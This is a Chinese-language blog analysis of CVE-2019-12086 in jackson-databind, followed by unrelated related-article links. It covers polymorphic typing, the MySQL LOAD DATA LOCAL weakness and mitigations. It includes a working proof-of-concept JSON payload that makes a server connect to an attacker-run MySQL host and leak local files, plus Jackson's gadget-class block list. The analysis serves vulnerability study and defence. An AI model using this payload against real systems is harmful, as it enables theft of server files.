CVE-2019-12086 Description

A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of missing com.mysql.cj.jdbc.admin.MiniAdmin validation.

使用了jackson-databind 2.x before 2.9.9的Java应用,如果ClassPath中有com.mysql.cj.jdbc.admin.MiniAdmin(存在于MySQL的JDBC驱动中)这个类,那么Java应用所在的服务器上的文件,就可能被任意读取并传送到恶意的MySQL Server。具体原理下面分析。

Polymorphic Handling in JSON Serialization

  1. public class Person {
  2. public String name;
  3. public int age;
  4. public PhoneNumber phone;
  5. }
  6. abstract class PhoneNumber {
  7. public int num;
  8. }
  9. public class InternationalNumber extends PhoneNumber {
  10. public int areaCode;
  11. }
  12. public class DomesticNumber extends PhoneNumber {
  13. }

一个序列化后的样例:

  1. {
  2. "name" : "Bob",
  3. "age" : 28.
  4. "phone" : {
  5. "areaCode" : 555,
  6. "num" : 1234567
  7. }
  8. }

序列化后类型消失,反序列化时因为PhoneNumber是抽象类,不知道该创建哪一个子类的对象。

Enable Polymorphic Handling in Jackson

Jackson解决序列化时不知道类型的问题,可以用Default Typing:

  1. ObjectMapper om = new ObjectMapper();
  2. om.enableDefaultTyping();
  3. Person p = new Person();
  4. p.name = "Bob";
  5. p.age = 28;
  6. InternationalNumber phone = new InternationalNumber();
  7. phone.areaCode = 555;
  8. phone.num = 1234567;
  9. p.phone = phone;
  10. System.out.println(om.writeValueAsString(p));
  1. {
  2. "name":"Bob",
  3. "age":28,
  4. "phone":["jackson.InternationalNumber",{"num":1234567,"areaCode":555}]
  5. }

也有其它方法,不再赘述了,殊途同归,都是在JSON中增加数据类型信息,这样反序列化的时候Jackson就知道了该使用哪一个类来创建对象。

Security Issues with MySQL LOAD DATA LOCAL

MySQL支持使用LOAD DATA LOCAL INFILE这样的语法,将客户端本地的文件中的数据insert到MySQL的某张表中。挺好的功能,就是协议设计的有点怪,大概是这个样子的:

  1. 用户在客户端输入:load data local infile "/data.csv" into table test;
  2. 客户端=>服务端:我想把我本地的/data.csv文件插入到test表中;
  3. 服务端=>客户端:把你本地的/data.csv发给我;
  4. 客户端=>服务端:/data.csv文件的内容;

这个协议的问题是,客户端发送哪个文件的内容,取决于第3步,服务端要哪个文件,如果服务端是个恶意的MySQL,那么他可以读取客户端的任意文件,比如读取/etc/passwd:

  1. 用户在客户端输入:load data local infile "/data.csv" into table test;
  2. 客户端=>服务端:我想把我本地的/data.csv文件插入到test表中;
  3. 服务端=>客户端:把你本地的/etc/passwd发给我;
  4. 客户端=>服务端:/etc/passwd文件的内容;

而且,在大部分客户端(比如MySQL Connector/J )的实现里,第1、2步不是必须的,客户端发送任意查询给服务端,服务端都可以返回文件发送的请求。而大部分客户端在连接建立之后,都会有一些查询服务端配置之类的查询,所以使用这些客户端,只要创建了到恶意MySQL的连接,那么客户端所在服务器上的所有文件都可能泄露。

引用MySQL官方文档如下:

In theory, a patched server could be built that would tell the client program to transfer a file of the server's choosing rather than the file named by the client in the LOAD DATA statement.

Security Issues with MySQL Connector/J

MySQL的JDBC驱动有一个创建连接的配置项allowLoadLocalInfile,用来控制是否允许从本地读取文件,默认值是true,也就是允许。

不清楚具体从哪个版本开始,MySQL的JDBC驱动多了这么一个类com.mysql.cj.jdbc.admin.MiniAdmin,可能没什么人用过,它有一个特点,就是在构造方法里会创建一个到指定url的JDBC连接。

  1. public class MiniAdmin {
  2. private JdbcConnection conn;
  3. public MiniAdmin(String jdbcUrl) throws SQLException {
  4. this(jdbcUrl, new Properties());
  5. }
  6. public MiniAdmin(String jdbcUrl, Properties props) throws SQLException {
  7. this.conn = (JdbcConnection) (new Driver().connect(jdbcUrl, props));
  8. }
  9. ...
  10. }

以上两个问题,就导致只要使用恶意MySQL的url作为参数创建一个com.mysql.cj.jdbc.admin.MiniAdmin对象,就可以读取任意文件。

CVE-2019-12086 POC

首先创建一个恶意的MySQL,可以使用https://github.com/Gifts/Rogue-MySql-Server。这个server读取客户端文件,并写入到mysql.log中。

假设启动在ip:X.X.X.X上面,那么在客户端执行如下代码,执行代码所在的机器上的c:\windows\win.ini文件内容就会出现在mysql.log中。

  1. ObjectMapper om = new ObjectMapper();
  2. om.enableDefaultTyping();
  3. String poc = "[\"com.mysql.cj.jdbc.admin.MiniAdmin\", \"jdbc:mysql://X.X.X.X:3306/db\"]";
  4. Object obj = om.readValue(poc, Object.class);

端口号和文件号在Rogue-MySql-Server中写死了,可以打开任意修改,就是个python的脚本。

以上是POC,在实际的生产环境中,可以通过往一些接受JSON参数的接口发送恶意的JSON数据来达成攻击的目的。

MySQL Connector/J 的修复

MySQL Connector/J 8.0.15开始将allowLoadLocalInfile默认值设置为false。具体见这里

Jason的修复

从2.9.9版本开始,将com.mysql.cj.jdbc.admin.MiniAdmin加入反序列化黑名单:

  1. static {
  2. Set<String> s = new HashSet<String>();
  3. // Courtesy of [https://github.com/kantega/notsoserial]:
  4. // (and wrt [databind#1599])
  5. s.add("org.apache.commons.collections.functors.InvokerTransformer");
  6. s.add("org.apache.commons.collections.functors.InstantiateTransformer");
  7. s.add("org.apache.commons.collections4.functors.InvokerTransformer");
  8. s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
  9. s.add("org.codehaus.groovy.runtime.ConvertedClosure");
  10. s.add("org.codehaus.groovy.runtime.MethodClosure");
  11. s.add("org.springframework.beans.factory.ObjectFactory");
  12. s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
  13. s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");
  14. // [databind#1680]: may or may not be problem, take no chance
  15. s.add("com.sun.rowset.JdbcRowSetImpl");
  16. // [databind#1737]; JDK provided
  17. s.add("java.util.logging.FileHandler");
  18. s.add("java.rmi.server.UnicastRemoteObject");
  19. // [databind#1737]; 3rd party
  20. //s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]
  21. s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");
  22. // s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931]
  23. // s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" -
  24. // [databind#1855]: more 3rd party
  25. s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource");
  26. s.add("com.sun.org.apache.bcel.internal.util.ClassLoader");
  27. // [databind#1899]: more 3rd party
  28. s.add("org.hibernate.jmx.StatisticsService");
  29. s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory");
  30. // [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities
  31. s.add("org.apache.ibatis.parsing.XPathParser");
  32. // [databind#2052]: Jodd-db, with jndi/ldap lookup
  33. s.add("jodd.db.connection.DataSourceConnectionProvider");
  34. // [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup
  35. s.add("oracle.jdbc.connector.OracleManagedConnectionFactory");
  36. s.add("oracle.jdbc.rowset.OracleJDBCRowSet");
  37. // [databind#2097]: some 3rd party, one JDK-bundled
  38. s.add("org.slf4j.ext.EventData");
  39. s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor");
  40. s.add("com.sun.deploy.security.ruleset.DRSHelper");
  41. s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl");
  42. // [databind#2186]: yet more 3rd party gadgets
  43. s.add("org.jboss.util.propertyeditor.DocumentEditor");
  44. s.add("org.apache.openjpa.ee.RegistryManagedRuntime");
  45. s.add("org.apache.openjpa.ee.JNDIManagedRuntime");
  46. s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo");
  47. // [databind#2326] (2.9.9): one more 3rd party gadget
  48. s.add("com.mysql.cj.jdbc.admin.MiniAdmin");
  49. DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
  50. }

What to do to Protect My System?

以下是Jackson作者的建议:

Try to keep up with updated versions of Jackson (jackson-databind): it should always be safe to upgrade to the latest patch version of given minor version (safest in the sense they should be no breaking changes to functionality)

If possible, AVOID enabling default typing (since it is usually class name based). It is better to be explicit about specifying where polymorphism is needed.

AVOID using java.lang.Object (or, java.util.Serializable) as the nominal type of polymorphic values, regardless of whether you use per-type, per-property, or Default Typing

If possible USE “type name” and NOT classname as type id: @JsonTypeInfo(use = Id.NAME) — this may require annotation of type name (see @JsonTypeName and @JsonSubTypes)

个人觉着最重要是第3点,避免使用Object对象作为Jackson反序列化的目标。

Reference

https://github.com/FasterXML/jackson-databind/issues/2326

https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062

http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

https://lightless.me/archives/read-mysql-client-file.html

http://ftp.nchu.edu.tw/MySQL/doc/refman/5.0/en/load-data-local.html

https://nvd.nist.gov/vuln/detail/CVE-2019-12086

分析Jackson的安全漏洞CVE-2019-12086的更多相关文章

  1. jackson学习+CVE-2019-12086漏洞分析

    jackson和fastjson差不多,都是用来更方便的处理json 国人用fastjson,老外用jackson/gson比较多 环境搭建: pom.xml: <dependency> ...

  2. 应用安全-软件安全-漏洞CVE整理

    jira ssrf CVE-2019-8451 url = url + '/plugins/servlet/gadgets/makeRequest?url=' + host + '@www.baidu ...

  3. 独家分析:安卓“Janus”漏洞的产生原理及利用过程

    近日,Google在12月发布的安卓系统安全公告中披露了一个名为"Janus"安卓漏洞(漏洞编号:CVE-2017-13156).该漏洞可以让攻击者绕过安卓系统的signature ...

  4. [web安全原理分析]-文件上传漏洞基础

    简介 前端JS过滤绕过 待更新... 文件名过滤绕过 待更新 Content-type过滤绕过 Content-Type用于定义网络文件的类型和网页编码,用来告诉文件接收方以什么形式.什么编码读取这个 ...

  5. [典型漏洞分享]从一个手动分析的反射型XSS漏洞看待一个安全设计原则【中危】

    这是在测试YS“本地相册”功能时发现的一个反射型XSS,自己在安全测试过程中也发现过不少XSS漏洞,唯独这个的发现过程有点区别. 在此之前,我在测试另外一个模块的功能接口的时候发现了一个反射型XSS, ...

  6. CVE 2019 0708 安装重启之后 可能造成 手动IP地址丢失.

    1. 最近两天发现 更新了微软的CVE 2019-0708的补丁之后 之前设置的手动ip地址会变成 自动获取, 造成ip地址丢失.. 我昨天遇到两个, 今天同事又遇到一个.微软做补丁也不走心啊..

  7. 漏洞CVE 2017-8464

    概述 微软的Patch Tuesday更新发布了多达95个针对Windows.Office.Skype.IE和Edge浏览器的补丁.其中27个涉及远程代码执行,18个补丁被微软设定为严重(Critic ...

  8. dede源码详细分析之--全局变量覆盖漏洞的防御

    http://blog.csdn.net/ebw123/article/details/8100594

  9. jackjson学习2+CVE-2019-14379漏洞分析

    最近想着分析jackson,jackson和fastjson有点相似,浅蓝大神的文章很好,个人受益匪浅 昨天简单说了下jackson的用法,现在继续拓扑,补充前置知识,前置知识补充的足够多,那么漏洞分 ...

随机推荐

  1. 云服务器配置 docker java mysql mongodb redis nginx 环境

    磁盘挂载 fdisk -l #查看磁盘列表 mkfs.ext4 /dev/vdb #格式化磁盘 mount /dev/vdb /data #挂载磁盘在/data echo '/dev/vdb /dat ...

  2. C#基础——break ,continue, return用法

  3. 关于ConfigurationSection自定义config的简单使用

    1.1.自定义config结构(参考对应颜色标注),放到configuration根节点下: <test> <testInfos> <" /> <& ...

  4. 手摸手教你编写你人生中第一个HTML页面

    本文是<HTML5与CSS3基础语法自学教程>的第二篇,首发于[前端课湛]微信公众号. 导读:本小节主要讲解 HTML 的基础语法内容,将通过编写第一个 HTML 页面来学习 HTML 的 ...

  5. 「SAP技术」为正常库存管理的物料做成本中心采购会是什么结果?

    SAP 为正常库存管理的物料做成本中心采购会是什么结果? 这种采购可以正常进行,收货后SAP会更新采购订单里指定的费用类科目,而库存数量和库存价值都不会增加. 1, 如下物料号,是正常做库存管理的物料 ...

  6. day05生成随机数、do-while循环、for循环、循环流控(break和continue)、循环嵌套

    复习 1.多重if 一个条件触发的情况在3种或以上时 if(<条件1>){ //条件1为真时运行 }else if(<条件2>){ //条件1为假,条件2为真时运行 }else ...

  7. logback日志文件位置动态指定

    logback日志文件位置动态指定 参考:https://stackoverflow.com/questions/19518843/logback-configuration-via-jvm-argu ...

  8. bootstrap-table 常用总结-树形结构

    关于树形结构,上篇文章如果还是不能理解的话,请看这一篇.把其他的没有用到的功能都去掉,只留最基础的树形结构! 废话不多说,直接上代码!所有的数据都是走的本地,如果大家想改的话可以自己改,但是需要注意的 ...

  9. U盘启动安装系统之旅----记录自己的第一次操作

    网上也有很多装系统的教程,这篇主要是对自己第一次装系统的一个记录,很惭愧,现在才尝试第一次用U盘启动装系统.经常有人说,系统都不会装,就别说搞这行的.当你会了,你就会觉得其实它真的是一件很简单的事情. ...

  10. JS 参考手册

    JS 参考手册 JavaScript 对象 HTML DOM 对象